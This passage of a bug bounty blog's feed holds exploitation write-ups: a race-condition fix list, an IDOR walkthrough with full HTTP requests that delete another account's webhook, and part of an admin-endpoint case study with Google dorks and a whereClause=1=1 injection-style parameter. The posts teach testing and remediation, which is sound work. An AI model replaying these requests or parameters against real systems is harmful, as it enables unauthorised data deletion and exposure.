<p data-start="11844" data-end="11972"><strong data-start="11844" data-end="11868">Make creation atomic</strong>: use <code data-start="11874" data-end="11898">INSERT ... ON CONFLICT</code> (upsert) or equivalent so concurrent creates cannot produce duplicates.</p>
</li>
<li data-start="11973" data-end="12122">
<p data-start="11976" data-end="12122"><strong data-start="11976" data-end="12011">Canonicalize inputs server-side</strong>: trim and lowercase emails and return the existing resource or a clear response when duplicates are attempted.</p>
</li>
</ol>
<h3 data-start="178" data-end="196">Final Thoughts</h3>
<p data-start="198" data-end="530">This case is a perfect reminder that even mature applications can overlook concurrency edge cases that don’t show up in regular testing. Client-side validation or simple “check-before-insert” logic might appear sufficient, but when operations run in parallel, the tiniest race window can lead to large-scale data integrity issues.</p>
<p data-start="532" data-end="812">What made this bug particularly impactful is that it didn’t rely on exotic conditions or privilege escalation — just timing. By coordinating concurrent identical requests, an attacker could manipulate backend logic in ways that normal single-threaded testing would never reveal.</p>
<p data-start="814" data-end="1078">In real-world systems where notifications, transactions, or queue-based processes are triggered by new records, such duplication can have serious downstream effects — from flooding users with redundant messages to distorting analytics or overloading task queues.</p>
<p data-start="1080" data-end="1391">Building truly robust APIs requires more than input validation; it demands atomic operations, proper database constraints, and a mindset that anticipates concurrency. Race conditions often hide in plain sight, but once discovered, they offer some of the most valuable lessons for improving backend resilience.</p>
<p data-start="1393" data-end="1474">In short, <strong data-start="1403" data-end="1431">always think in parallel</strong> — because your attackers certainly will.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/how-i-abused-a-race-condition-to-create-duplicate-notification-records-sanitized/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">521</post-id>	</item>
		<item>
		<title>5 Steps to Exploit a Critical IDOR Vulnerability in Webhook Deletion</title>
		<link>https://hackersatty.com/critical-idor-vulnerability/</link>
					<comments>https://hackersatty.com/critical-idor-vulnerability/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Sun, 14 Sep 2025 03:50:49 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=509</guid>

					<description><![CDATA[Critical IDOR Vulnerability in Webhook Deletion – A Real-World Exploitation Guide When testing web applications, one of the most common but high-impact issues I encounter is Insecure Direct Object Reference &#8230; <a href="https://hackersatty.com/critical-idor-vulnerability/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<h1 data-start="767" data-end="852">Critical IDOR Vulnerability in Webhook Deletion – A Real-World Exploitation Guide</h1>
<p data-start="854" data-end="1163">When testing web applications, one of the most common but high-impact issues I encounter is <strong data-start="946" data-end="989">Insecure Direct Object Reference (IDOR)</strong>. In this blog, I will walk you through how I discovered a <strong data-start="1048" data-end="1079">Critical IDOR vulnerability</strong> in a webhook deletion functionality on my testing platform (<strong data-start="1140" data-end="1159">hackersatty.com</strong>).</p>
<p data-start="1165" data-end="1347">This post is a complete breakdown of how I identified the vulnerable endpoint, exploited it, and demonstrated real-world impact — all while following responsible testing practices.</p>
<hr data-start="1672" data-end="1675" />
<h2 data-start="1677" data-end="1712">What is an IDOR Vulnerability?</h2>
<p data-start="1714" data-end="1965"><strong data-start="1714" data-end="1757">Insecure Direct Object Reference (IDOR)</strong> is a type of access control vulnerability where an application exposes internal identifiers (like user IDs, webhook IDs, or document IDs) without properly checking if the user is authorized to access them.</p>
<p data-start="1967" data-end="2124">In simple terms: if you can change an <code data-start="2005" data-end="2009">id</code> in a request and access or delete something that belongs to another user, the application is vulnerable to IDOR.</p>
<hr data-start="2126" data-end="2129" />
<h2 data-start="2131" data-end="2176">Why IDOR in Webhook Deletion is Critical</h2>
<p data-start="2178" data-end="2293">Webhooks are essential for integrating systems — they send automated updates and notifications between platforms.</p>
<p data-start="2295" data-end="2387">Now, imagine a situation where <strong data-start="2326" data-end="2372">any user can delete another user’s webhook</strong>. This means:</p>
<ul data-start="2389" data-end="2524">
<li data-start="2389" data-end="2411">
<p data-start="2391" data-end="2411">Service disruption</p>
</li>
<li data-start="2412" data-end="2445">
<p data-start="2414" data-end="2445">Loss of customer integrations</p>
</li>
<li data-start="2446" data-end="2483">
<p data-start="2448" data-end="2483">Denial of important notifications</p>
</li>
<li data-start="2484" data-end="2524">
<p data-start="2486" data-end="2524">Direct impact on business operations</p>
</li>
</ul>
<p data-start="2526" data-end="2598">That’s why <strong data-start="5651" data-end="5682">Critical IDOR vulnerability </strong><strong data-start="2537" data-end="2565">IDOR in webhook deletion</strong> is classified as <strong data-start="2583" data-end="2595">Critical</strong>.</p>
<hr data-start="2600" data-end="2603" />
<h2 data-start="2605" data-end="2647">Reconnaissance – Finding the Endpoint</h2>
<p data-start="2649" data-end="2761">During my testing on <strong data-start="2670" data-end="2689">hackersatty.com</strong>, I followed a systematic process to identify the vulnerable endpoint:</p>
<ol data-start="2763" data-end="3279">
<li data-start="2763" data-end="2833">
<p data-start="2766" data-end="2833"><strong data-start="2766" data-end="2799">Create an account (Account A)</strong> and explore available features.</p>
</li>
<li data-start="2834" data-end="2915">
<p data-start="2837" data-end="2915">Enable developer tools (browser DevTools or Burp Suite) to capture requests.</p>
</li>
<li data-start="2916" data-end="2994">
<p data-start="2919" data-end="2994">Create a webhook → noted down the request and observed an <code data-start="2977" data-end="2981">id</code> parameter.</p>
</li>
<li data-start="2995" data-end="3129">
<p data-start="2998" data-end="3048">Saw that the webhook deletion was performed via:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><span class="hljs-type">POST</span> <span class="hljs-regexp">/pr/</span>settings<span class="hljs-regexp">/webhook/</span>{uuid}<br />
<span class="hljs-type">X</span><span class="hljs-operator">-</span><span class="hljs-type">Methodoverride</span>: <span class="hljs-type">DELETE</span><br />
</code></div>
</div>
</li>
<li data-start="3131" data-end="3179">
<p data-start="3134" data-end="3179">Registered <strong data-start="3145" data-end="3176">another account (Account B)</strong>.</p>
</li>
<li data-start="3180" data-end="3279">
<p data-start="3183" data-end="3279">Repeated the same process to create a webhook, confirming that each webhook had a unique <code data-start="3272" data-end="3276">id</code>.</p>
</li>
</ol>
<p data-start="3281" data-end="3367">This made me suspect that simply changing the <code data-start="3327" data-end="3331">id</code> might allow cross-account access.</p>
<hr data-start="3369" data-end="3372" />
<h2 data-start="3374" data-end="3404">Step-by-Step Exploitation</h2>
<p data-start="3406" data-end="3442">Here’s how I reproduced the issue:</p>
<ol data-start="3444" data-end="3973">
<li data-start="3444" data-end="3503">
<p data-start="3447" data-end="3503"><strong data-start="3447" data-end="3460">Account A</strong> creates a webhook → assigned <code data-start="3490" data-end="3500">id=15120</code>.</p>
</li>
<li data-start="3504" data-end="3690">
<p data-start="3507" data-end="3539">Captured the deletion request:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">POST /pr/settings/webhook/3c4320d4-cdaa-456a-94a3-c883c8821f27<br />
X-Methodoverride: DELETE<br />
<span class="hljs-built_in">id</span>=15120&amp;csrfmiddlewaretoken=&lt;token&gt;<br />
</code></div>
</div>
</li>
<li data-start="3692" data-end="3757">
<p data-start="3695" data-end="3757"><strong data-start="3695" data-end="3708">Account B</strong> creates its own webhook → assigned <code data-start="3744" data-end="3754">id=15122</code>.</p>
</li>
<li data-start="3758" data-end="3831">
<p data-start="3761" data-end="3831">Using Account B’s session, I replayed the captured deletion request.</p>
</li>
<li data-start="3832" data-end="3904">
<p data-start="3835" data-end="3904">Modified the request to target Account A’s webhook ID (<code data-start="3890" data-end="3900">id=15120</code>).</p>
</li>
<li data-start="3905" data-end="3973">
<p data-start="3908" data-end="3973"><strong data-start="3908" data-end="3919">Result:</strong> Account B successfully deleted Account A’s webhook.</p>
</li>
</ol>
<hr data-start="3975" data-end="3978" />
<h2 data-start="3980" data-end="4007">Proof of Concept (PoC)</h2>
<p data-start="4009" data-end="4075"><strong data-start="4009" data-end="4073">Request (Attacker – Account B deleting Account A’s webhook):</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><code class="whitespace-pre!">POST /pr/settings/webhook/3c4320d4-cdaa-456a-94a3-c883c8821f27 HTTP/1.1<br />
<span class="hljs-section">Host: hackersatty.com</span><br />
<span class="hljs-section">X-Methodoverride: DELETE</span><br />
<span class="hljs-section">Content-Type: application/x-www-form-urlencoded</span><br />
<span class="hljs-section">Cookie: sessionid=&lt;attacker_session&gt;</span></code></code>id=15120&amp;csrfmiddlewaretoken=&lt;attacker_csrf&gt;</div>
</div>
<p data-start="4336" data-end="4351"><strong data-start="4336" data-end="4349">Response:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><code class="whitespace-pre!">HTTP/<span class="hljs-number">1.1</span> <span class="hljs-number">200</span> OK<br />
<span class="hljs-attribute">Content</span>-Type: application/json</code></code>{&#8220;status&#8221;: <span class="hljs-string">&#8220;success&#8221;</span>, <span class="hljs-string">&#8220;message&#8221;</span>: <span class="hljs-string">&#8220;Successfully removed the webhook&#8221;</span>}</div>
</div>
<p data-start="4479" data-end="4561">✔ Confirms that <strong data-start="4495" data-end="4536">Account B deleted Account A’s webhook</strong> without authorization.</p>
<p data-start="4479" data-end="4561">Reference: <a href="https://www.hackerone.com/application-security-resources/broken-access-control" target="_blank" rel="noopener">HackerOne’s Guide to Broken Access Control.</a></p>
<figure id="attachment_512" aria-describedby="caption-attachment-512" style="width: 1024px" class="wp-caption alignnone"><img decoding="async" class="size-large wp-image-512" src="https://hackersatty.com/wp-content/uploads/2025/09/1-1024x267.png" alt="Critical IDOR Vulnerability PoC" width="1024" height="267" title="5 Steps to Exploit a Critical IDOR Vulnerability in Webhook Deletion 3" srcset="https://hackersatty.com/wp-content/uploads/2025/09/1-1024x267.png 1024w, https://hackersatty.com/wp-content/uploads/2025/09/1-300x78.png 300w, https://hackersatty.com/wp-content/uploads/2025/09/1-768x200.png 768w, https://hackersatty.com/wp-content/uploads/2025/09/1-1320x344.png 1320w, https://hackersatty.com/wp-content/uploads/2025/09/1-600x156.png 600w, https://hackersatty.com/wp-content/uploads/2025/09/1.png 1517w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-512" class="wp-caption-text">Proof of Concept showing how an attacker exploited a Critical IDOR Vulnerability.</figcaption></figure>
<hr data-start="4563" data-end="4566" />
<h2 data-start="4568" data-end="4588">Impact Analysis</h2>
<p data-start="4590" data-end="4681">The vulnerability directly affects <strong data-start="4625" data-end="4638">integrity</strong> and <strong data-start="4643" data-end="4659">availability</strong> of the application:</p>
<ul data-start="4683" data-end="4886">
<li data-start="4683" data-end="4726">
<p data-start="4685" data-end="4726">Any user can delete webhooks of others.</p>
</li>
<li data-start="4727" data-end="4792">
<p data-start="4729" data-end="4792">Attack requires no elevated privileges — just a free account.</p>
</li>
<li data-start="4793" data-end="4886">
<p data-start="4795" data-end="4886">Real-world consequences: service disruptions, broken integrations, loss of business data.</p>
</li>
</ul>
<hr data-start="4888" data-end="4891" />
<h2 data-start="4893" data-end="4929">Severity Assessment (CVSS v3.1)</h2>
<ul data-start="4931" data-end="5162">
<li data-start="4931" data-end="4966">
<p data-start="4933" data-end="4966"><strong data-start="4933" data-end="4956">Attack Vector (AV):</strong> Network</p>
</li>
<li data-start="4967" data-end="5002">
<p data-start="4969" data-end="5002"><strong data-start="4969" data-end="4996">Attack Complexity (AC):</strong> Low</p>
</li>
<li data-start="5003" data-end="5040">
<p data-start="5005" data-end="5040"><strong data-start="5005" data-end="5034">Privileges Required (PR):</strong> Low</p>
</li>
<li data-start="5041" data-end="5076">
<p data-start="5043" data-end="5076"><strong data-start="5043" data-end="5069">User Interaction (UI):</strong> None</p>
</li>
<li data-start="5077" data-end="5103">
<p data-start="5079" data-end="5103"><strong data-start="5079" data-end="5093">Scope (S):</strong> Changed</p>
</li>
<li data-start="5104" data-end="5131">
<p data-start="5106" data-end="5131"><strong data-start="5106" data-end="5124">Integrity (I):</strong> High</p>
</li>
<li data-start="5132" data-end="5162">
<p data-start="5134" data-end="5162"><strong data-start="5134" data-end="5155">Availability (A):</strong> High</p>
</li>
</ul>
<p data-start="5164" data-end="5191"><strong data-start="5164" data-end="5189">Score: 9.1 (Critical)</strong></p>
<hr data-start="5193" data-end="5196" />
<h2 data-start="5198" data-end="5230">Recommendations to Fix <strong data-start="5651" data-end="5682">Critical IDOR vulnerability</strong></h2>
<ol data-start="5232" data-end="5539">
<li data-start="5232" data-end="5342">
<p data-start="5235" data-end="5342"><strong data-start="5235" data-end="5274">Enforce proper authorization checks</strong> – Verify that the user owns the webhook before allowing deletion.</p>
</li>
<li data-start="5343" data-end="5453">
<p data-start="5346" data-end="5453"><strong data-start="5346" data-end="5381">Use Object-Level Access Control</strong> – Implement strict checks for every request modifying user resources.</p>
</li>
<li data-start="5454" data-end="5539">
<p data-start="5457" data-end="5539"><strong data-start="5457" data-end="5490">Avoid predictable identifiers</strong> – Use UUIDs instead of sequential numeric IDs.</p>
</li>
</ol>
<hr data-start="5541" data-end="5544" />
<h2 data-start="5546" data-end="5565">Final Thoughts</h2>
<p data-start="5567" data-end="5685">This case study demonstrates how a simple oversight in access control can lead to a <strong data-start="5651" data-end="5682">Critical IDOR vulnerability</strong>.</p>
<p data-start="5687" data-end="5901">By following a structured approach — from endpoint discovery, testing unique IDs, to replaying requests — I was able to identify a severe issue that impacts the core integrity and availability of the application.</p>
<p data-start="5903" data-end="6036">For developers, the lesson is clear: <strong data-start="5940" data-end="6034">never trust client-side input and always enforce authorization checks at the server level.</strong></p>
<p data-start="6038" data-end="6152">For security researchers, this highlights why IDOR remains one of the most dangerous yet common vulnerabilities.</p>
<p data-start="6038" data-end="6152"><a href="https://hackersatty.com/unauthorized-access-to-admin-pages-2/">👉 Read more on Webhook Security Best Practices.</a></p>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/critical-idor-vulnerability/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">509</post-id>	</item>
		<item>
		<title>Critical Unauthorized Access to Admin Pages via Vulnerable Endpoints – A Bug Bounty Case Study</title>
		<link>https://hackersatty.com/unauthorized-access-to-admin-pages-2/</link>
					<comments>https://hackersatty.com/unauthorized-access-to-admin-pages-2/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Mon, 11 Aug 2025 19:40:23 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=505</guid>

					<description><![CDATA[About Me Hey! I’m Satyam Pawale, known as @hackersatty in the bug bounty and ethical hacking world. I started bug hunting in 2024, and ever since, I’ve been obsessed with &#8230; <a href="https://hackersatty.com/unauthorized-access-to-admin-pages-2/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<h2 data-start="1000" data-end="1017"><strong data-start="1003" data-end="1015">About Me</strong></h2>
<p data-start="1019" data-end="1241">Hey! I’m <strong data-start="1028" data-end="1045">Satyam Pawale</strong>, known as <strong data-start="1056" data-end="1072">@hackersatty</strong> in the bug bounty and ethical hacking world. I started bug hunting in 2024, and ever since, I’ve been obsessed with finding vulnerabilities that most people overlook.</p>
<p data-start="1243" data-end="1440">My goal with this blog is to share <strong data-start="1278" data-end="1315">real-world bug bounty experiences</strong> so other hunters can learn the techniques, tools, and mindset required to succeed — while staying ethical and responsible.</p>
<p data-start="1442" data-end="1596">This case is about how I found <strong data-start="1473" data-end="1516">critical admin endpoint vulnerabilities</strong> that allowed direct, unauthorized access to sensitive backend pages and data.</p>
<p data-start="1442" data-end="1596"><a href="https://hackersatty.com/wildcard-bug-bounty-methodology/">PAID ACCESS</a></p>
<hr data-start="1598" data-end="1601" />
<h2 data-start="1603" data-end="1677"><strong data-start="1606" data-end="1675">Introduction – Why Admin Endpoints Are the Holy Grail for Hackers</strong></h2>
<p data-start="1679" data-end="1805">In any web application, <strong data-start="1703" data-end="1719">admin panels</strong> are like the control center — the place where the most sensitive operations happen:</p>
<ul data-start="1807" data-end="1909">
<li data-start="1807" data-end="1834">
<p data-start="1809" data-end="1834">User account management</p>
</li>
<li data-start="1835" data-end="1855">
<p data-start="1837" data-end="1855">Database queries</p>
</li>
<li data-start="1856" data-end="1880">
<p data-start="1858" data-end="1880">Application settings</p>
</li>
<li data-start="1881" data-end="1909">
<p data-start="1883" data-end="1909">Internal reporting tools</p>
</li>
</ul>
<p data-start="1911" data-end="2063">If attackers gain access to these pages without authentication, it’s game over for the application’s <strong data-start="2012" data-end="2060">confidentiality, integrity, and availability</strong>.</p>
<p data-start="2065" data-end="2242">Unfortunately, many organizations still expose these <strong data-start="2118" data-end="2142">vulnerable endpoints</strong> to the public — sometimes unintentionally, sometimes through oversight in staging or legacy code.</p>
<p data-start="2244" data-end="2291">In this case study, you’ll see exactly how :</p>
<ul data-start="2292" data-end="2511">
<li data-start="2292" data-end="2347">
<p data-start="2294" data-end="2347">Found a subdomain with unprotected admin endpoints.</p>
</li>
<li data-start="2348" data-end="2407">
<p data-start="2350" data-end="2407">Used <strong data-start="2355" data-end="2381">OSINT and Google Dorks</strong> to locate hidden pages.</p>
</li>
<li data-start="2408" data-end="2468">
<p data-start="2410" data-end="2468">Manipulated parameters to extract sensitive information.</p>
</li>
<li data-start="2469" data-end="2511">
<p data-start="2471" data-end="2511">Reported the bug with proof of impact.</p>
</li>
</ul>
<hr data-start="2513" data-end="2516" />
<h2 data-start="2518" data-end="2571"><strong data-start="2521" data-end="2569">Step 1 – Recon: Finding the Target Subdomain</strong></h2>
<p data-start="2573" data-end="2666">Recon is 80% of bug bounty hunting. If you skip it or rush through, you miss opportunities.</p>
<p data-start="2668" data-end="2738">I started by identifying subdomains for the target using tools like:</p>
<ul data-start="2739" data-end="2882">
<li data-start="2739" data-end="2793">
<p data-start="2741" data-end="2793"><strong data-start="2741" data-end="2754">Subfinder</strong> – For passive subdomain enumeration.</p>
</li>
<li data-start="2794" data-end="2834">
<p data-start="2796" data-end="2834"><strong data-start="2796" data-end="2805">Amass</strong> – For deep reconnaissance.</p>
</li>
<li data-start="2835" data-end="2882">
<p data-start="2837" data-end="2882"><strong data-start="2837" data-end="2847">crt.sh</strong> – Certificate transparency logs.</p>
</li>
</ul>
<p data-start="2884" data-end="2914">One subdomain caught my eye:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">https:<span class="hljs-comment">//example.com/</span><br />
</code></div>
</div>
<p data-start="2948" data-end="3030">It wasn’t the main production domain, but it looked like a management interface.</p>
<hr data-start="3032" data-end="3035" />
<h2 data-start="3037" data-end="3094"><strong data-start="3040" data-end="3092">Step 2 – Using Google Dorks to Find Entry Points</strong></h2>
<p data-start="3096" data-end="3237">Google Dorks are an incredibly powerful way to find <strong data-start="3148" data-end="3184">publicly exposed sensitive pages</strong>. Some of my favorites for admin discovery include:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><span class="hljs-section">site:example.com inurl:/admin</span><br />
<span class="hljs-section">site:example.com login</span><br />
<span class="hljs-section">site:example.com filetype:js</span><br />
<span class="hljs-section">site:example.com inurl:/cs/</span><br />
</code></div>
</div>
<p data-start="3360" data-end="3380">Here’s what I did:</p>
<ol data-start="3382" data-end="3742">
<li data-start="3382" data-end="3499">
<p data-start="3385" data-end="3499"><strong data-start="3385" data-end="3414">Locate Login/Admin Pages:</strong><br data-start="3414" data-end="3417" />Found references to <code data-start="3440" data-end="3469">/TARGETED_QUICK_SEARCH_LIST</code> and <code data-start="3474" data-end="3496">/STANDARD_QUERY_PAGE</code>.</p>
</li>
<li data-start="3501" data-end="3634">
<p data-start="3504" data-end="3634"><strong data-start="3504" data-end="3534">Identify JavaScript Files:</strong><br data-start="3534" data-end="3537" />Using <code data-start="3546" data-end="3576">site:example.com filetype:js</code>, I found multiple scripts containing API endpoint URLs.</p>
</li>
<li data-start="3636" data-end="3742">
<p data-start="3639" data-end="3742"><strong data-start="3639" data-end="3665">Directory Enumeration:</strong><br data-start="3665" data-end="3668" />Discovered <code data-start="3682" data-end="3704">/SCHEMA_BROWSE_POPUP</code> endpoints from old code references.</p>
</li>
</ol>
<p data-start="3744" data-end="3910">These dorks worked because developers often hardcode endpoint paths in JavaScript or leave them accessible for internal testing — forgetting to restrict them later.</p>
<hr data-start="3912" data-end="3915" />
<h2 data-start="3917" data-end="3966"><strong data-start="3920" data-end="3964">Step 3 – Vulnerable Endpoints Identified</strong></h2>
<p data-start="3968" data-end="4039">I discovered <strong data-start="3981" data-end="4009">three critical endpoints</strong> that lacked authentication:</p>
<h3 data-start="4041" data-end="4080"><strong data-start="4045" data-end="4078">1. TARGETED_QUICK_SEARCH_LIST</strong></h3>
<p data-start="4081" data-end="4091"><strong data-start="4081" data-end="4089">URL:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">https:<span class="hljs-comment">//example.com/.../TARGETED_QUICK_SEARCH_LIST</span><br />
</code></div>
</div>
<p data-start="4153" data-end="4164"><strong data-start="4153" data-end="4162">Risk:</strong></p>
<ul data-start="4165" data-end="4293">
<li data-start="4165" data-end="4222">
<p data-start="4167" data-end="4222">Exposed <strong data-start="4175" data-end="4193">template pages</strong> and <strong data-start="4198" data-end="4219">internal metadata</strong>.</p>
</li>
<li data-start="4223" data-end="4293">
<p data-start="4225" data-end="4293">Allowed attackers to map system structure for future exploitation.</p>
</li>
</ul>
<hr data-start="4295" data-end="4298" />
<h3 data-start="4300" data-end="4332"><strong data-start="4304" data-end="4330">2. SCHEMA_BROWSE_POPUP</strong></h3>
<p data-start="4333" data-end="4343"><strong data-start="4333" data-end="4341">URL:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">https:<span class="hljs-comment">//example.com/.../SCHEMA_BROWSE_POPUP</span><br />
</code></div>
</div>
<p data-start="4398" data-end="4409"><strong data-start="4398" data-end="4407">Risk:</strong></p>
<ul data-start="4410" data-end="4569">
<li data-start="4410" data-end="4455">
<p data-start="4412" data-end="4455">Allowed manipulation of query parameters.</p>
</li>
<li data-start="4456" data-end="4508">
<p data-start="4458" data-end="4508">Potential to view and alter <strong data-start="4486" data-end="4505">database schema</strong>.</p>
</li>
<li data-start="4509" data-end="4569">
<p data-start="4511" data-end="4569">Risk of unauthorized <strong data-start="4532" data-end="4566">data insertion or modification</strong>.</p>
</li>
</ul>
<hr data-start="4571" data-end="4574" />
<h3 data-start="4576" data-end="4608"><strong data-start="4580" data-end="4606">3. STANDARD_QUERY_PAGE</strong></h3>
<p data-start="4609" data-end="4619"><strong data-start="4609" data-end="4617">URL:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">https:<span class="hljs-comment">//example.com/.../STANDARD_QUERY_PAGE</span><br />
</code></div>
</div>
<p data-start="4674" data-end="4685"><strong data-start="4674" data-end="4683">Risk:</strong></p>
<ul data-start="4686" data-end="4784">
<li data-start="4686" data-end="4737">
<p data-start="4688" data-end="4737">Let attackers retrieve internal sensitive data.</p>
</li>
<li data-start="4738" data-end="4784">
<p data-start="4740" data-end="4784">Could be exploited to dump system records.</p>
</li>
</ul>
<hr data-start="4786" data-end="4789" />
<h2 data-start="4791" data-end="4851"><strong data-start="4794" data-end="4849">Step 4 – Exploiting the Vulnerabilities (Ethically)</strong></h2>
<p data-start="4853" data-end="4948">My approach was <strong data-start="4869" data-end="4897">safe and non-destructive</strong>. Here’s how I tested without harming the system:</p>
<ol data-start="4950" data-end="5358">
<li data-start="4950" data-end="5056">
<p data-start="4953" data-end="5056"><strong data-start="4953" data-end="4978">Access the Endpoints:</strong><br data-start="4978" data-end="4981" />I directly navigated to each URL in my browser and observed responses.</p>
</li>
<li data-start="5058" data-end="5199">
<p data-start="5061" data-end="5119"><strong data-start="5061" data-end="5088">Parameter Manipulation:</strong><br data-start="5088" data-end="5091" />Tested parameters like:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">&amp;whereClause=1=1<br />
&amp;SearchQueryFormat=json<br />
&amp;fieldName=<span class="hljs-built_in">id</span><br />
</code></div>
</div>
</li>
<li data-start="5201" data-end="5358">
<p data-start="5204" data-end="5229"><strong data-start="5204" data-end="5227">Observed Responses:</strong></p>
<ul data-start="5233" data-end="5358">
<li data-start="5233" data-end="5265">
<p data-start="5235" data-end="5265">Sensitive metadata returned.</p>
</li>
<li data-start="5269" data-end="5302">
<p data-start="5271" data-end="5302">Database field names exposed.</p>
</li>
<li data-start="5306" data-end="5358">
<p data-start="5308" data-end="5358">Some queries returned <strong data-start="5330" data-end="5355">internal-only records</strong>.</p>
</li>
</ul>
</li>
</ol>
<hr data-start="5360" data-end="5363" />
<h2 data-start="5365" data-end="5427"><strong data-start="5368" data-end="5425">Step 5 – The Impact if Exploited by a Malicious Actor</strong></h2>
<p data-start="5429" data-end="5493">If a real attacker had found these endpoints, they could have:</p>
<ul data-start="5495" data-end="5859">
<li data-start="5495" data-end="5578">
<p data-start="5497" data-end="5578"><strong data-start="5497" data-end="5525">Bypassed Access Control:</strong> Gaining admin-level privileges without logging in.</p>
</li>
<li data-start="5579" data-end="5673">
<p data-start="5581" data-end="5673"><strong data-start="5581" data-end="5606">Dumped Internal Data:</strong> Extracted customer records, internal files, or transaction logs.</p>
</li>
<li data-start="5674" data-end="5753">
<p data-start="5676" data-end="5753"><strong data-start="5676" data-end="5697">Modified Records:</strong> Inserted malicious data or deleted important records.</p>
</li>
<li data-start="5754" data-end="5859">
<p data-start="5756" data-end="5859"><strong data-start="5756" data-end="5778">Escalated Attacks:</strong> Used schema knowledge to launch SQL injection or privilege escalation attacks.</p>
</li>
</ul>
<hr data-start="5861" data-end="5864" />
<h2 data-start="5866" data-end="5914"><strong data-start="5869" data-end="5912">Step 6 – Why This Happened (Root Cause)</strong></h2>
<p data-start="5916" data-end="5955">From my analysis, the root cause was:</p>
<ul data-start="5957" data-end="6211">
<li data-start="5957" data-end="6045">
<p data-start="5959" data-end="6045"><strong data-start="5959" data-end="5986">Lack of Authentication:</strong> Endpoints assumed only internal staff would access them.</p>
</li>
<li data-start="6046" data-end="6122">
<p data-start="6048" data-end="6122"><strong data-start="6048" data-end="6064">Legacy Code:</strong> Older admin tools left active without security updates.</p>
</li>
<li data-start="6123" data-end="6211">
<p data-start="6125" data-end="6211"><strong data-start="6125" data-end="6158">Insufficient Security Review:</strong> No recent pentests had been done on admin modules.</p>
</li>
</ul>
<hr data-start="6213" data-end="6216" />
<h2 data-start="6218" data-end="6278"><strong data-start="6221" data-end="6276">Step 7 – Recommendations to Fix the Vulnerabilities</strong></h2>
<p data-start="6280" data-end="6318">To prevent such issues, I suggested:</p>
<ul data-start="6320" data-end="6641">
<li data-start="6320" data-end="6420">
<p data-start="6322" data-end="6420"><strong data-start="6322" data-end="6348">Strict Authentication:</strong> All admin endpoints must require session tokens or role-based access.</p>
</li>
<li data-start="6421" data-end="6489">
<p data-start="6423" data-end="6489"><strong data-start="6423" data-end="6449">Endpoint Whitelisting:</strong> Restrict access to admin tools by IP.</p>
</li>
<li data-start="6490" data-end="6568">
<p data-start="6492" data-end="6568"><strong data-start="6492" data-end="6514">Security in Depth:</strong> Validate input parameters and sanitize all queries.</p>
</li>
<li data-start="6569" data-end="6641">
<p data-start="6571" data-end="6641"><strong data-start="6571" data-end="6599">Regular Security Audits:</strong> Include admin modules in every pentest.</p>
</li>
</ul>
<hr data-start="6643" data-end="6646" />
<h2 data-start="6648" data-end="6699"><strong data-start="6651" data-end="6697">Advanced Pro Tips for Finding Similar Bugs</strong></h2>
<ol data-start="6701" data-end="7187">
<li data-start="6701" data-end="6819">
<p data-start="6704" data-end="6819"><strong data-start="6704" data-end="6738">Target Internal Functionality:</strong><br data-start="6738" data-end="6741" />Look for keywords in JavaScript like <code data-start="6781" data-end="6788">admin</code>, <code data-start="6790" data-end="6797">query</code>, <code data-start="6799" data-end="6807">schema</code>, <code data-start="6809" data-end="6816">panel</code>.</p>
</li>
<li data-start="6821" data-end="6936">
